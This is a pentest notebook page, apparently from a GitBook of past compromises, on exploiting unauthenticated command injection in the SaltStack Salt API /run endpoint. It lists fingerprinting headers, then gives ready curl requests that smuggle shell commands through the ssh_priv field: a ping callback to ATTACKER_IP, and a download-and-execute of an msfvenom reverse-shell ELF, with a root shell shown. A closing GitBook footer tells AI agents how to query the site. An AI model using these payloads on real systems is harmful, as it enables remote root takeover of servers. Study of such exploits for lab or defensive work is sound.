> For the complete documentation index, see [llms.txt](https://book.ice-wzl.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.ice-wzl.xyz/things-i-have-pwnd-before/saltstack.md).

# SaltStack

SaltStack Salt API exposed on HTTP can allow unauthenticated command injection through the `/run` endpoint when the vulnerable SSH client path is reachable.

## Salt API Indicators

The API response can expose Salt API through headers:

```
HTTP/1.1 200 OK
Server: nginx/1.16.1
Content-Type: application/json
Allow: GET, HEAD, POST
Access-Control-Allow-Origin: *
X-Upstream: salt-api/3000-1
```

Some paths may show CherryPy behind the API:

```
http://TARGET:8000/ssh
404 Not Found
The path '/ssh' was not found.
Powered by CherryPy 5.6.0
```

## Salt API Command Injection

Confirm command execution with an ICMP callback:

```bash
sudo tcpdump -i tun0 icmp

curl -i http://TARGET:8000/run \
  -H "Content-type: application/json" \
  -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/ping -c 4 ATTACKER_IP  #"}'
```

Expected response:

```
HTTP/1.1 200 OK
{"return": [{}]}
```

Expected callback:

```
IP TARGET > ATTACKER_IP: ICMP echo request
IP ATTACKER_IP > TARGET: ICMP echo reply
```

## Reverse Shell

Generate and host a Linux ELF reverse shell:

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=80 -f elf -o shell.elf
python3 -m http.server
nc -nlvp 80
```

Use the Salt API injection to download and execute it:

```bash
curl -i http://TARGET:8000/run \
  -H "Content-type: application/json" \
  -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/curl http://ATTACKER_IP:8000/shell.elf -o /tmp/shell.elf; chmod +x /tmp/shell.elf; /tmp/shell.elf  #"}'
```

Successful shell:

```
connect to [ATTACKER_IP] from TARGET
uid=0(root) gid=0(root) groups=0(root)
```

## References

* <https://github.com/zomy22/CVE-2020-16846-Saltstack-Salt-API>
* <https://github.com/advisories/GHSA-qr38-h96j-2j3w>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.ice-wzl.xyz/things-i-have-pwnd-before/saltstack.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
